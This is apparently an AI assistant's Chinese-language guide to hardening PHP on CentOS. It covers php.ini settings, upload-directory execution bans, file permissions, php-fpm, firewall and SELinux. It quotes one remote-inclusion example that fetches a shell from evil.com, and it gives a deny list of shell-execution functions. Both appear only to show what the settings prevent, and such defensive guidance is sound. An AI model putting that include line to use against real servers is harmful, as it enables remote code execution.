在 CentOS 上配置 PHP 安全加固,可以从 PHP 配置、系统权限、Web 服务器配合、日志与审计 四个方面入手。下面以 CentOS 7/8 + PHP(7.x / 8.x) 为例,给出一套较完整的安全配置方案。
yum update -y
yum update php*
或(CentOS 8 / Stream):
dnf update php*
✅ 安全漏洞多数来自未更新的 PHP 版本
配置文件位置通常为:
/etc/php.ini
或:
/etc/php.d/*.ini
display_errors = Off
log_errors = On
error_log = /var/log/php_error.log
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,dl,show_source,assert
⚠ 根据业务调整,避免影响正常功能
allow_url_fopen = Off
allow_url_include = Off
防止:
include "http://evil.com/shell.txt";
open_basedir = /var/www/html:/tmp
✅ 防止 PHP 读取 /etc/passwd 等系统文件
expose_php = Off
file_uploads = On
upload_max_filesize = 2M
upload_tmp_dir = /tmp
✅ 上传目录 禁止执行 PHP
session.cookie_httponly = 1
session.cookie_secure = 1 # HTTPS 时开启
session.use_strict_mode = 1
session.gc_maxlifetime = 1440
location ~* ^/uploads/.*\.php$ {
deny all;
}
<Directory "/var/www/html/uploads">
php_flag engine off
</Directory>
ps aux | grep php-fpm
推荐:
nginxwww-data 或 php-fpmchown -R nginx:nginx /var/www/html
chmod -R 755 /var/www/html
chmod 700 /var/www/html/config
✅ 禁止 777
chown nginx:nginx /var/www/html/uploads
chmod 750 /var/www/html/uploads
编辑:
/etc/php-fpm.d/www.conf
user = nginx
group = nginx
pm = dynamic
pm.max_children = 50
;pm.status_path = /status
touch /var/log/php_error.log
chown nginx:nginx /var/log/php_error.log
/var/log/messages
/var/log/secure
firewall-cmd --permanent --add-service=http
firewall-cmd --reload
getenforce
✅ Enforcing 模式
如需要:
setsebool -P httpd_read_user_content 1
✅ 不要使用 root 运行 PHP
✅ 禁用 eval / assert / exec
✅ 上传目录禁止执行 PHP
✅ 开启 HTTPS
✅ 定期更新 PHP 和系统
✅ 使用 WAF(如 ModSecurity)
如果你愿意,我可以根据你的 CentOS 版本 + PHP 版本 + Nginx/Apache 给你一份 可直接使用的配置文件模板。